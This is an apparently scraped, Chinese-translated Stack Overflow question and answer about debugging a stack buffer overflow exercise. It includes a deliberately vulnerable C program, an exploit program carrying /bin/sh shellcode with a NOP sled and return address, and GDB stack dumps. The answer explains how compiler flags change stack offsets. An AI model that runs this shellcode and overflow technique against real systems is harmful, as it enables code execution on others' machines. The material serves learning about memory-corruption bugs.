gpt4 book ai didi

c - 缓冲区溢出 shellcode 覆盖了错误的地址

转载 作者:太空宇宙 更新时间:2023-11-04 04:15:12 24 4
gpt4 key购买 nike

NOTE: This is a modified version of my original post here but poses a slightly different question.

我正在经历这个video关于缓冲区溢出,但在复制演示时遇到了一些问题。问题似乎是当我执行溢出时,预期的返回地址没有被覆盖。

据我所知,预期的返回地址应该是 0x7fffffffe060

This memory address format differs from what I've seen in demos etc. maybe something wrong here?

gcc 命令 - gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=4 -o Output Output.c

我可以看到 shellcode 被引入堆栈,但它比我预期的位置低了一个“行”或内存地址。

期望,我的 shellcode:

0x7fffffffe060: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969

实际结果:

0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969

为什么目标返回地址 0x7fffffffe060 没有被覆盖为 0x7fffffffe070

ExploitMe.c

#include<stdio.h>
#include<string.h>

main(int argc, char **argv)
{
char buffer[80];
strcpy(buffer, argv[1]);
return 1;
}

HackYou.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80"
;

char retaddr[] = "\x60\xe0\xff\xff\xff\x7f";

#define NOP 0x90
main()
{
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 24);
memcpy(buffer+88, retaddr, 4);
memcpy(buffer+92, "\x00\x00\x00\x00", 4);
putenv(buffer);
system("/bin/sh");
return 0;
}

(gdb) 运行 $EGG

(gdb) x/24xw $rsp
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x00000001 0x00000000 0xf7e939b5 0x00007fff
0x7fffffffe080: 0x00000000 0x00000000 0x555551bd 0x00005555
0x7fffffffe090: 0xf7fe42a0 0x00007fff 0x00000000 0x00000000
0x7fffffffe0a0: 0x55555170 0x00005555 0x55555050 0x00005555
0x7fffffffe0b0: 0xffffe1a0 0x00007fff 0x00000000 0x00000000

(gdb) c
Continuing.

(gdb) x/24xw argv[1]
0x7fffffffe4c4: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0x7fffffffe4d4: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0x7fffffffe4e4: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe4f4: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe504: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe514: 0x90909090 0xffffe060 0x5f534c00 0x4f4c4f43

(gdb) x/34xw $rsp
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0x7fffffffe080: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0x7fffffffe090: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0c0: 0x90909090 0xffffe060 0xf7e14b00 0x00007fff
0x7fffffffe0d0: 0x00000000 0x00000000 0xffffe1a8 0x00007fff
0x7fffffffe0e0: 0x00040000 0x00000002

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e14b0d in __libc_start_main (main=0x555555555135 <main>, argc=2, argv=0x7fffffffe1a8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe198) at ../csu/libc-start.c:310
310 ../csu/libc-start.c: No such file or directory.

最佳答案

我没有看过您的视频,但您使用的方法高度依赖于编译器版本、编译选项甚至操作系统版本。如果您缺少目标,很可能是因为调试选项 (-g)。调试选项通常会导致编译器安装可靠的堆栈帧,以便调试器可以可靠地遍历调用堆栈。

在您的示例中,您期望返回地址距缓冲区地址 92 个字节,或缓冲区末尾后 3 个堆栈地址。因此,如果您反汇编 ExploitMe.c:main(),序言会是什么样子?压入多少个寄存器,从 rsp 中减去什么?

在(ubuntu 18,gcc 7.3)上,我得到 1 次推送和减去 96,因此返回地址位于缓冲区的偏移量 104 处;保存的堆栈指针位于偏移量 96 处。当我用 -O 替换 -ggdb 时,我得到了偏移量 88 处的返回地址 [因此 92 将是中间字节或最高有效字节],并且没有保存堆栈指针。

正如评论者指出的那样,如果您要利用未记录的行为,您必须能够适应。

关于c - 缓冲区溢出 shellcode 覆盖了错误的地址,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/52991756/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com